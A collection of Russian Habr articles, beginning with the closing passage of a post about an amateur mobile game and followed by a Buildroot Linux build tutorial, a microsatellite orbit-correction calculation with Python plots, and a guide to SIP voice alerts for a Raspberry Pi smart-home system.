2. Во втором условии проверяем, есть ли уже покупаемый предмет в инвентаре и хватает ли места в инвентаре, если нет, то показываем сообщение, что нет места. Если место есть, то объединяем предметы в одну пачку и проверяем, не переполнился ли инвентарь, и если переполнился, то откатываемся обратно. Если место есть, то отнимаем деньги, обновляем отображение и выводим сообщение, что товар добавлен.
3. Далее проверяем, кратно ли количество элементов в пачке пяти, если да, то закидываем сгенерированный HTML в инвентарь, если нет, то ищем все изображения внутри инвентаря, а затем берем номер изображения и сравниваем с id элемента, после чего у span удаляем класс hidden, который скрывал количество предметов:
Не спрашивайте, почему всё так плохо, я и сам сейчас не понимаю 😊. Ну, и заключительное условие уже просто проверяет есть ли место в инвентаре и если есть, то добавляет предмет.
Чтобы вы понимали масштабы, мы рассмотрели только 200 строк кода, а дальше еще чуть больше 1000 строк кода такого же формата, где-то лучше, где-то даже хуже.
В итоге за 2 недели мы достигли следующего результата:
**Заключение**
В данной статье я постарался показать вам, насколько все плохо внутри и якобы хорошо снаружи можно сделать. Если вы помните, то проект создавался для конкурса, в котором участвовало 140 команд. Чтобы пройти отборочный этап, нужно было попасть в топ-30 команд. И как вы думаете, смогли мы попасть в топ-50 или хотя бы в топ-100? Конечно 😊, смогли, и, более того, мы были на 27 месте по результатам отборочных испытаний. К сожалению, доработать проект было уже нельзя, поэтому мы сосредоточили свои силы на презентации и выступлении. По итогам финала мы были на 9 месте, и это с учетом того, что все, кто был выше нас, либо уже зарабатывали на своих приложениях, либо имели хорошие возможности для заработка. Конечно же, на это повлияло множество факторов: выступление, презентация, внешний вид конечного продукта. Если оценивать только код, то, конечно, мы и не поднялись бы дальше 100го места.
Ну, и в заключение отвечу на вопрос: *стоит ли вообще разрабатывать мобильные игры с нуля?*
Конечно же, невозможно просто ответить в двух словах, на это влияет множество факторов и на эту тему можно написать отдельную большую статью. В сторону геймдева лезть не будем, но все же можно дать следующие рекомендации:
1. Определите размер и сложность своей игры. Если вы хотите сделать 2D/3D RPG с большим количеством динамики, анимации и т.п., при этом вы знаете, скажем, только один язык программирования, то следует поискать и изучить инструменты для создания игр, анимации на этом языке.
2. Продумайте структуру проекта. Если вы решили использовать JS, то сразу продумайте структуру, разделите все на компоненты, вынесите логику и отрисовку в отдельные файлы. Не жалейте на это времени, в дальнейшем вы будете себе благодарны, и, вернувшись к проекту через какое-то время, вы не будете тратить недели, чтобы понять, что и как там происходит.
3. Займитесь планированием. Потратьте время на планирование проекта, в противном случае вам придется додумывать на ходу, а это всегда плохо. И настанет момент, когда это «додумывание» превратится в «ладно, пусть будет пока так, а потом додумаю» (знакомо, да?! 😊).
Ну, собственно, на этом всё. Сейчас эта версия проекта убрана в ящик истории, и идеи, которые лежали в ее основе, были использованы для нового проекта, в ходе разработки которого я стараюсь учитывать все ошибки и недочеты, часть из которых я изложил в этой статье.
Цель же написания этой статьи состоит в том, чтобы показать, что, если у вас есть идея и желание воплотить ее, но пока нет соответствующих навыков, никогда не стоит бояться хотя бы попытаться претворить ее в жизнь. Ошибки, недочеты и неоптимальные решения неизбежны, но все они в конечном счете станут тем ценным опытом, который поможет вам идти дальше, расти над собой, повышать свою квалификацию, а также в конце получать радость выполненной работы.
Также хочется выразить огромную благодарность моему товарищу Александру Леонову который не пожалел времени и сил, чтобы отредактировать данную статью и исправить недочеты.
Разрабатывайте, господа, разрабатывайте чаще! | https://habr.com/ru/post/663316/ | null | ru | null |
# Buildroot — часть 1. Общие сведения, сборка минимальной системы, настройка через меню
Введение
--------
В данной серии статей я хочу рассмотреть систему сборки дистрибутива buildroot и поделиться опытом её кастомизации. Здесь будет практический опыт создания небольшой ОС с графическим интерфейсом и минимальным функционалом.
Прежде всего, не следует путать систему сборки и дистрибутив. Buildroot может собрать систему из набора пакетов, которые ему предложили. Buildroot построен на make-файлах и поэтому имеет огромные возможности по кастомизации. Заменить пакет на другую версию, добавить свой пакет, поменять правила сборки пакета, кастомизировать файловую систему после установки всех пакетов? Всё это умеет buildroot.
В России buildroot используется, но на мой взгляд мало русскоязычной информации для новичков.
Цель работы — собрать дистрибутив с live-загрузкой, интерфейсом icewm и браузером. Целевая платформа — virtualbox.
Зачем собирать свой дистрибутив? Зачастую нужен ограниченный функционал при ограниченных ресурсах. Ещё чаще в автоматизации нужно создавать прошивки. Приспосабливать дистрибутив общего назначения, вычищая лишние пакеты и превращать его в прошивку путь более трудоёмкий, чем собрать новый дистриб. Использование Gentoo тоже имеет свои ограничения.
Buildroot система очень мощная, но она ничего не сделает за вас. Она может лишь дать возможности и автоматизировать процесс сборки.
Альтернативные системы сборки (yocto, open build system и прочие) не рассматриваются и не сравниваются.
Где взять и как начать
----------------------
Сайт проекта — [buildroot.org](https://buildroot.org). Здесь можно скачать актуальную версию и прочитать руководство. Там же можно обратиться к сообществу, есть багтрекер, mail-lists и irc-канал.
Buildroot оперирует defconfig’aми для целевой платы сборки. Defconfig — это конфигурационный файл, хранящий в себе только опции, не имеющими значения по умолчанию. Именно он определяет, что и как будет собрано. При этом можно отдельно настроить конфиги busybox, linux-kernel, uClibc, загрузчиков u-boot и barebox, но все они будут привязаны к целевой плате.
После распаковки скачанного архива или клонировании из git получаем готовый к работе buildroot. Подробно о структуре каталогов можно прочитать в руководстве, расскажу о самых важных:
**board** — каталог с файлами, специфичными для каждой платы. Это могут быть скрипты формирования образов системы(iso, sdcart, cpio и прочие), каталог overlay, конфиг ядер и прочее
**configs** — собственно defconfig платы. Defconfig — это неполная конфигурация платы. В нем хранится только отличные от дефолтных настроек параметры
**dl** — каталог со скачанными исходными кодами/файлами для сборки
**output/target** — собранная файловая система полученной ОС. В дальнейшем из нее создаются образы для загрузки/установки
**output/host** — host-утилиты для сборки
**output/build** — собранные пакеты
Конфигурирование сборки осуществляется через KConfig. Эта же система используется для сборки ядра linux. Список самых часто используемых команд (выполнять в каталоге buildroot):
* make menuconfig — вызвать настройку сборки. Так же можно с использование графического интерфейса (make nconfig,make xconfig,make gconfig)
* make linux-menuconfig — вызвать конфигурацию ядра.
* make clean — очистить результаты сборки (всё что храниться в output)
* make — собрать систему. При этом не выполняется пересборка уже собранных процессов
* make defconfig\_name — переключить конфигурацию на определенный defconfig
* make list-defconfigs — показать список defconfig’ов
* make source — только скачать установочный файлы, без сборки.
* make help — вывести список возможных команд
### Важные замечания и полезные советы
Buildroot не пересобирает уже собранные пакеты! Поэтому может создаться ситуация, когда потребуется полная пересборка.
Можно пересобрать отдельный пакет командой **make packagename-rebuild.** Например, можно пересобрать ядро linux:
```
make linux-rebuild
```
Buildroot хранит состояние любого пакета созданием .stamp-файлов в каталоге output/build/$packagename:
Следовательно, можно пересобрать root-fs и образы без пересборки пакетов:
```
rm output/build/host-gcc-final-*/.stamp_host_installed;rm -rf output/target;find output/ -name ".stamp_target_installed" |xargs rm -rf ; make
```
#### Полезные переменные
В buildroot есть набор переменных для удобного конфигурирования
* $TOPDIR — корневой каталог buildroot
* $BASEDIR — каталог OUTPUT
* $HOST\_DIR, $STAGING\_DIR, $TARGET\_DIR — каталоги сборки host fs, staging fs, target fs.
* $BUILD\_DIR — каталог c распакованными и собранными пакетами
#### Визуализация
В buildroot есть возможность по визуализации.Можно построить схему зависимостей, график времени сборки, график размера пакетов в итоговой системе. Результаты в виде pdf файлов( на выбор есть svn,png) в каталоге output/graph.
Примеры команд визуализации:
* `make graph-depends` построить дерево зависимостей
* `make -graph-depends` построить дерево зависимостей конкретного пакета
* `BR2_GRAPH_OUT=png make graph-build` построить график времени сборки с выводом в PNG
* `make graph-size` построить график размера пакетов
#### Полезные скрипты
В каталоге buildroot есть подкаталог **utils** c полезными скриптами. Например, там есть скрипт, проверяющий корректность описания пакетов. Это может быть полезно при добавлении своих пакетов (я это сделаю позже). В файле utils/readme.txt есть описание этих скриптов.
Соберем cтоковый дистрибутив
----------------------------
*Важно напомнить, что все операции ведутся от лица обычного пользователя, не root.*
Все команды выполняются в корне buildroot. В поставке buildroot уже есть набор конфигураций под многие распространённые платы и виртуализацию.
Смотрим список конфигураций:
Переключаемся на конфиг qemu\_x86\_64\_defconfig
```
make qemu_x86_64_defconfig
```
И запускаем сборку
```
make
```
Сборка завершается успешно, смотрим на результаты:
Buildroot собрал образы, которые можно запустить в Qemu и убедиться, что они работают.
```
qemu-system-x86_64 -kernel output/images/bzImage -hda \ output/images/rootfs.ext2 -append "root=/dev/sda rw" -s -S
```
Результат — запущенная в qemu система:
Создание конфигурации собственной платы
---------------------------------------
### Добавление файлов платы
Смотрим список конфигураций:
В списке видим pc\_x86\_64\_bios\_defconfig. Мы создадим свою плату, скопировав её с конфигурации:
```
cp configs/pc_x86_64_bios_defconfig configs/my_x86_board_defconfig
```
Сразу же создадим каталог платы для хранения своих скриптов, rootfs-overlay и прочих нужных файлов:
```
mkdir board/my_x86_board
```
Переключаемся на этот defconfig:
```
make my_x86_board_defconfig
```
Таким образом, теперь конфиг сборки (хранится в .config в корне каталога buildroot’а) соответствует целевой машине x86-64 legacy(bios) загрузкой.
Скопируем конфигурацию linux-kernel (пригодится в дальнейшем):
```
cp board/pc/linux.config board/my_x86_board/
```
### Настройка параметров сборки через KConfig
Запускаем настройку:
```
make menuconfig
```
Откроется окно KConfig. Есть возможность конфигурировать с графическим интерфейсом (make nconfig, make xconfig, make gconfig):
Входим в первый раздел Target Options. Здесь можно выбрать целевую архитектуру, под которую будет вестись сборка.
Build options — здесь есть различные настройки сборки. Можно указать каталоги с исходными кодами, количество потоков сборки, зеркала для скачивания исходных кодов и прочие настройки. Оставим настройки по-умолчанию.
Toolchain – здесь настраивается сам инструментарий сборки. О нем подробнее.
Toolchain type – тип используемого тулчейна. Это может быть встроенный в buildroot или внешний тулчейн (можно указать каталог с уже собранным или url для скачивания). Для разных архитектур есть дополнительные опции. Например, для arm можно просто выбрать версию внешнего тулчейна Linaro.
C library – выбор библиотеки С. От этого зависит работа всей системы. Обычно используется glibc, поддерживающая весь возможный функционал. Но она может оказаться слишком большой для встроенной системы, поэтому часто выбирают uClibc или musl. Мы выберем glibc (в дальнейшем это потребуется для использования systemd).
Kernel Headers и Custom Kernel Headers series – должно совпадать с версией ядра, которое будет в собираемой системе. Для kernel headers можно так же указать путь к тарболу или git-репозиторий.
GCC COMPILER VERSIONS – выбор версии компилятора, которая будет использована для сборки
Enable C++ support – выберем для сборки с поддержкой библиотек c++ в системе. В дальнейшем нам это пригодится.
Additional gcc options – можно задать дополнительные опции компилятора. Нам без надобности пока что.
System configuration позволяет задать будущие параметры созданной системы:
Большинство пунктов понятны из названия. Обратим внимание на следующие пункты:
Path to the users tables — таблица с создаваемыми пользователями (<https://buildroot.org/downloads/manual/manual.html#makeuser-syntax>).
Пример файла. Будет создан пользователь user с паролем admin, автоматически gid/uid, /bin/sh шеллом, группой по-умолчанию user, член группы root, комментарием Foo user
```
[alexey@alexey-pc buildroot ]$ cat board/my_x86_board/users.txt
user -1 user -1 =admin /home/user /bin/sh root Foo user
```
Root filesystem overlay directories — каталог, накладываемый поверх собранной target-fs. Добавляет новые файлы и заменяет имеющиеся.
Custom scripts to run before creating filesystem images — Скрипты, выполняемые непосредственно перед сворачиванием файловой системы в образы. Сам скрипт пока оставим пустым
Перейдём в раздел Kernel
Здесь задаются настройки ядра. Само ядро конфигурируется через make linux-menuconfig.
Задать версию ядра можно по-разному: выбрать из предложенных, ввести версию вручную, указать репозиторий или готовый tarball.
Kernel configuration — путь к конфигу ядра. Можно выбрать конфигурацию по-умолчанию для выбранной архитектуры или defocnfig из Linux. В исходниках Linux есть набор defconfig’ов для разных целевых систем. НАйти нужный можно, [глянув напрямую в исходники здесь](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch). Например, для платы beagle bone black можно [выбрать конфиг](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/arm/configs/omap2plus_defconfig?id=v4.13).
Раздел Target packages позволяет выбрать, какие пакеты будут установлены в собираемую систему. Пока оставим без изменений. Позже мы добавим свои пакеты в этот список.
Filesystem images — список образов файловых систем, которые будут собраны. Добавим iso-образ
Bootloaders — выбор собираемых загрузчиков. Выберем isolinix
### Конфигурирование Systemd
Systemd становится одним из столбов linux, наравне с kernel и glibc. Поэтому вынес его настройку в отдельный пункт.
Настраивается через make menuconfig, далее Target packages → System tools → systemd. Здесь можно указать, какие службы systemd будут установлены и запущены при старте системы.
### Сохранение конфигурации системы
Сохраняем этот конфиг через KConfig.
После чего сохраним наш defconfig:
```
make savedefconfig
```
### Конфигурирование ядра Linux
Конфигурирование ядра linux вызывается следующей командой:
```
make linux-menuconfig
```
Добавим поддержку видеокарты Virtualbox
Добавим Virtualbox Guest integration support
Сохраняем и выходим. **ВАЖНО**: конфигурация сохранится в output/build/linux-$version/config, но не в board/my\_x86\_board/linux.config
Поэтому нужно вручную скопировать конфиг в место хранения:
```
cp output/build/linux-4.19.25/.config board/my_x86_board/linux.config
```
Этой командой я копирую ПОЛНЫЙ конфиг ядра, что нужно не всегда. Более правильный путь — сохранять defconfig ядра:
```
make linux-update-defconfig
```
После чего выполним полную пересборку всей системы.Т.к. buildroot не пересобирает уже собранное, то надо вручную указать пакеты для пересборки. Чтобы не терять время и нервы, небольшую систему проще пересобрать целиком):
```
make clean;make
```
По завершении сборки запускаем VirtualBox(проверялось на версии 5.2 и 6.0) с загрузкой с cd-диска.Параметры системы:
Запуск с собранного iso:
Список использованных материалов
--------------------------------
1. Buildroot manual | https://habr.com/ru/post/448638/ | null | ru | null |
# Микроспутники для дистанционного зондирования Земли
В настоящее время большой интерес проявляется к созданию и использованию малых космических аппаратов — адекватной замене больших космических аппаратов.
Это объясняется многими преимуществами микроспутников (МС) [1]:
* Сравнительно низкая цена, а также небольшое время, необходимое для разработки и изготовления микроспутника.
* Низкая цена запуска космического аппарата. Ракета-носитель, даже легкого класса, способна вывести на орбиту несколько микроспутников.
* Для запуска применяются конверсионные баллистические ракеты, которые, в соответствии с договорами, уничтожаются путем запуска в космос с полезной нагрузкой.
* Легкие космические аппараты могут выводиться в качестве попутного груза на ракетах-носителях (РН) или в транспортных кораблях, доставляющих грузы на долговременные орбитальные станции.
* Снижение риска больших финансовых потерь при гибели микроспутника в случае аварии РН на старте или при неудачном выведении его на рабочую орбиту.
Микроспутником считается космический аппарат с массой от 10 до 100 кг. Благодаря современному уровню развития науки и техники, на спутнике такого класса можно устанавливать практически все присущие большому космическому аппарату бортовые системы: ориентации (пассивная и активная), электропитания, определения положения, радиосвязи, а также бортовой вычислительный комплекс.
Как сообщает Fast Company, две компании, финская и американская, готовятся запустить целые созвездия недорогих микроспутников, которые многократно увеличат возможности слежения. Низкая стоимость позволит использовать их более широкому кругу клиентов, что внушает беспокойство многим экспертам [2].
#### Постановка задачи
Анализ возможностей применения двигательной установки по коррекции орбиты микроспутников дистанционного зондирования Земли.
**Условия для снабжения микроспутника двигательной установкой.**
Микроспутник, пригодный для большинства космических задач, имеет массовые характеристики в пределах 20…70 кг (Lapan TUBSat).
Для данного диапазона масс микроспутника возможно применение двигательной установки, которая легко согласуется по габаритам и составляет 7…25 % массы спутника.
При этом двигательная установка должна иметь собственную систему энергоснабжения, контроллер управления, подсистему хранения и подачи топлива с баком емкостью до 3,3 дм3.
**Зависимость приращения высоты орбиты от массы спутника**
Для решения этой задачи воспользуемся уравнением Циолковского и выражением для расчета характеристической скорости [3]:
где – гравитационный параметр притягивающего центра (для Земли  ); Rs — радиус начальной орбиты, Rs =6945 км; Rf — радиус конечной орбиты, км.
В результате преобразований, из данных уравнений можно получить следующее выражение:
где  — приращение высоты орбиты, км; Is — удельный импульс двигателя, Is =12.750 км/с; Msp — масса спутника, кг; Medm — масса двигательной установки, Medm =5,33 кг; Mrt — масса рабочего тела, Mrt =0,73 кг.
**Построим график:**
```
import numpy as np
import matplotlib.pyplot as plt
mz=3.986*10**5 # гравитационный параметр притягивающего центра в км3/с2
Rs=6945 #- радиус начальной орбиты в км.
Is=12.750#удельный импульс двигателя км/с
Medm=5.33 # масса двигательной установки в кг.
Mrt=0.73 # масса рабочего тела в кг.
# x - масса спутника в кг.
def dR(x):
return mz*(((mz/Rs)**0.5+Is*np.log((x+Medm-Mrt)/(x+Medm)))**-2)-Rs
p=np.arange(20,50,1)
y=[dR(x) for x in p]
plt.title(' Зависимость приращения высоты орбиты \n от массы спутника ')
plt.ylabel('Приращение высоты орбиты в км.')
plt.xlabel('Масса спутника в кг.')
plt.plot(p,y, color='r',linewidth=2)
plt.grid(True)
plt.show()
```
С помощью выражения (2) можно рассчитать максимальное приращение высоты орбиты, которое может обеспечить двигательная установка за суммарное время работы [3]:
где F — тяга двигателя, F =0,0045 Н.
**Зависимость времени маневра от промежуточной орбиты**
Определим время маневра, которое может понадобиться для поднятия спутника на какую-либо промежуточную орбиту ( Rp ) в диапазоне от Rs до Rs + .
Для расчета времени маневра можно воспользоваться следующим выражением [3]:
**Построим график:**
```
import numpy as np
import matplotlib.pyplot as plt
mz=3.986*10**5 # гравитационный параметр притягивающего центра в км3/с2
Rs=6945 #- радиус начальной орбиты в км.
Is=12.750#удельный импульс двигателя км/с
Medm=5.33 # масса двигательной установки в кг.
Mrt=0.73 # масса рабочего тела в кг.
F =0.0045 #тяга двигательной установки
# xm - масса спутника в кг.
# Rp - промежуточная орбита в км.
def dR(xm,Rp):
m=(np.sqrt(mz/Rp)-np.sqrt(mz/Rs))/Is
return(1/(F*3600))*(xm+Medm)*Is*1000*(1-np.e**m)
p=np.arange(6945,7245,1)
y1=[dR(50,Rp) for Rp in p]
y2=[dR(20,Rp) for Rp in p]
plt.title('Зависимость времени маневра \n от промежуточной орбиты спутника')
plt.ylabel('Время манёвра в час.')
plt.xlabel('Промежуточная орбита в км.')
plt.plot(p,y1, color='r',linewidth=2, label='50 кг.')
plt.plot(p,y2, color='b',linewidth=2, label='20 кг.')
plt.legend(loc='best')
plt.grid(True)
plt.show()
```
**Возможности двигательной установки по изменению плоскости орбиты.**
Для расчета изменения наклонения орбиты под воздействием двигателей малых тяг можно воспользоваться следующим выражением [4]:
где V — орбитальная скорость движения, м/c; i — наклонение орбиты; u — аргумент широты спутника. Запишем данное выражение в интегральном виде:
Из данного выражения видно, что для увеличения либо уменьшения наклонения орбиты тяга двигателя должна при  действовать в одном направлении, а при  и меняет свое направление на противоположное.
Тяга должна быть перпендикулярна плоскости орбиты. На рисунке показано необходимое направление тяги двигателя в различных точках при увеличении наклонения для орбит с прямым движением.
#### Выводы
Проведен анализ возможностей применения двигательной установки по коррекции орбиты микроспутников дистанционного зондирования Земли.
* [Микроспутники.](http://epizodsspace.airbase.ru/bibl/ziv/2004/2/micro.html)
* [Микроспутники будут круглосуточно следить за любой точкой Земли.](https://high-tech.fm/2017/12/21/digital_globe)
* Балк, М. Б. Элементы динамики космического полета [Текст] / М. Б. Балк. – М.: Наука, 1965. – 339 с.
* Левантовский, В. И. Механика космического полета в элементарном изложении [Текст] / В. И. Левантовский. – М.: Наука, 1974. – 512 с. | https://habr.com/ru/post/349844/ | null | ru | null |
# Простой способ создания голосового оповещения в системе Домашней автоматизации («Умный дом»)
Протестировав консольный SIP клиент Linphonec, увидел в нём возможность простого и быстрого способа реализации оповещения голосом на мобильный телефон, для домашней системы автоматизации.
Думаю данный способ подойдёт для многих DIY систем автоматизации своего дома, приведу свой вариант.
Имею систему автоматизации «Умный дом» MajorDoMo, которая установлена на одноплатный компьютер Raspberry Pi (под управлением ОС Raspbian (Debian 9).
Создадим возможность оповещения от MajorDoMo к смартфону без использования дополнительного оборудования и своего VoIP сервера.
Краткий принцип действия оповещения: в случае критичной аварии (перечень аварий каждый может определить для себя свой), система автоматизации управляет консольным VoIP клиентом и вызывает хозяина по SIP протоколу, после ответа проигрывает ранее записанный звуковой файл с сообщением об аварии.
Первым делом нам понадобится два аккаунта от SIP провайдера с бесплатными входящими/исходящими внутри сети. Для примера возьмем сервис облачной телефонии Zadarma.com.
Первый шаг: производим регистрацию, у провайдера, при этом получаем доступ к личному кабинету и свой аккаунт SIP. Можем зарегистрироваться с нескольких почтовых ящиков, а можем пополнить счет и получить дополнительные номера. В любом случае у нас должно быть 2 номера (аккаунта) и пароля к нему.
На смартфоне (у меня работает под ОС Androd) из маркета устанавливаем мобильное приложение, подойдёт любой SIP клиент. Для удобства и минимизации первоначальных настроек, можем использовать фирменное приложение для звонков Zadarma, а можем более функциональное.
После установки, производим регистрацию, указав свой номер и пароль к нему, на этом настройка смартфона окончена. Итак мы задействовали один номер.
На сервере домашней автоматизации Raspberry, нам потребуется терминальный SIP клиент Linphonec. При установке из репозитория Raspbian устанавливается довольно старая версия 3.6.1, которая не совсем корректно не работает с звуковой системой ALSA, но так как использовать напрямую голос нет необходимости, пойдём по легкому пути.
*Установку актуальной версии пакета Linphone (3.12.0) без графического интерфейса для Debian 9, я описывал в прошлой статье: [DIY кнопка вызова. Raspberry Pi, MajorDoMo, Freeswitch и Linphonec](https://habr.com/ru/post/464309/). Там же можно найти информацию по установке USB звуковой карты и настройки звука для Raspberry Pi.*
В терминале выполняем следующую команду:
```
sudo apt-get install linphone-nogtk
```
Производиться установка утилиты консольного клиента linphonec и linphonecsh — консольная программа для управления работающей в фоновом режиме linphonec в директорию /usr/bin.
Произведем первый запуск набрав:
```
linphonec
```
Запускаем его, SIP клиент ругается на ALSA, не обращаем на это внимания.
Выполняем команду регистрации клиента (Linphonec) на сервере zadarma, указываем свой второй номер и пароль:
```
register sip:xxxxxx@sip.zadarma.com sip.zadarma.com PASSWORD
```
Если ввод произведён правильно, то видим ответ о успешной регистрации:
Выходим из клиента (Ctrl+c, при этом клиент сохраняет настройки в файл .linphonerc текущего пользователя, в моем случае, директорию /home/pi/. При следующем запуске SIP клиент автоматически регистрируется на сервере провайдера.
Делаем запись голосового сообщения (например: «Внимание системы была перезагружена, сейчас состояние в работе»:
```
arecord -D plughw:1,0 -f cd /home/pi/alarm_restart.wav
```
Для запуска и управления Linphonec в режиме демона, используется утилита Linphonecsh. Первоначально при запуске необходима инициализация клиента linphonecsh -init. При выполнении этой команды происходит запуск консольного клиента, без загрузки конфигурационного файла.
Чтобы при запуске выполнялось чтение конфигурации запустим с флагом с:
```
linphonecsh init -c /home/pi/.linphonerc
```
Сейчас можем управлять консольным клиентом из терминала.
**Список команд Linphonecsh**
```
Usage:
linphonecsh [arguments]
where action is one of
init : spawn a linphonec daemon (first step to make other actions)
followed by the arguments sent to linphonec
generic : sends a generic command to the running linphonec daemon
followed by the generic command surrounded by quotes,
for example "call sip:joe@example.net"
register : register; arguments are
--host
--username
--password
unregister : unregister
dial : dial
status : can be 'status register', 'status autoanswer' or 'status hook'
soundcard : can be 'soundcard capture', 'soundcard playback', 'soundcard ring',
followed by an optional number representing the index of the soundcard,
in which case the soundcard is set instead of just read.
exit : make the linphonec daemon to exit.
```
Попробуем выполнить следующие команды:
```
linphonecsh generic 'soundcard use files'
```
```
linphonecsh generic 'play alarm.wav'
```
```
linphonecsh dial sip:ХХХХХ@sip.zadarma.com
```
Где generic — команды самой программы Linphonec. ХХХХХ — наш SIP номер, установленный на смартфон.
При этом происходит вызов, при ответе — слышно проигрывание записанного ранее файла с аварией.
Вручную всё заработало. Для интеграции с системой домашней автоматизации на основе MajorDoMo, для примера, возьмём аварийную ситуацию с перезапуском сервера.
Прописываем следующую строку в crontab (при загрузке ПК, загружается консольный клиент:
```
crontab -e
```
```
@reboot sudo -u pi linphonecsh init -c /home/pi/.linphonerc
```
Далее переходим на web страницу системы УД, переходим в **Панель Управления — Сценарии — События — Startup.**.
Сценарии реализуются на языке программирования PHP. В коде уже есть одна строчка, которая при запуске системы произносит фразу с IP адресом сервера.
Добавим еще несколько:
```
exec ("sudo -u pi linphonecsh generic 'soundcard use files'");
```
```
exec ("sudo -u pi linphonecsh generic 'play alarm.wav'");
```
```
exec ("sudo -u pi linphonecsh dial sip:576935@sip.zadarma.com ");
```
Устанавливаем *выполнить после сохранения*, сохраняем, при этом происходит вызов на мобильный телефон.
Выполняем перезагрузку системы MajorDoMo, через **Сервис — Перезагрузка/отключение**.
После перезагрузки на телефон поступает голосовое уведомление. Такой же алгоритм действий можно сделать для другой критичной для вас аварии.
Немного изменив последовательность действий, можно установить в свою систему домашней автоматизации собственный сервер IP телефонии (Asterisk, Freeswitch и т.д.), подключить к нему VoIP шлюз и напрямую выходить на мобильного оператора или ТфОП. Этот вариант более функциональнее, имеет больше возможностей, но и требует несколько больших затрат, как материальных, так и для настройки системы. | https://habr.com/ru/post/466735/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.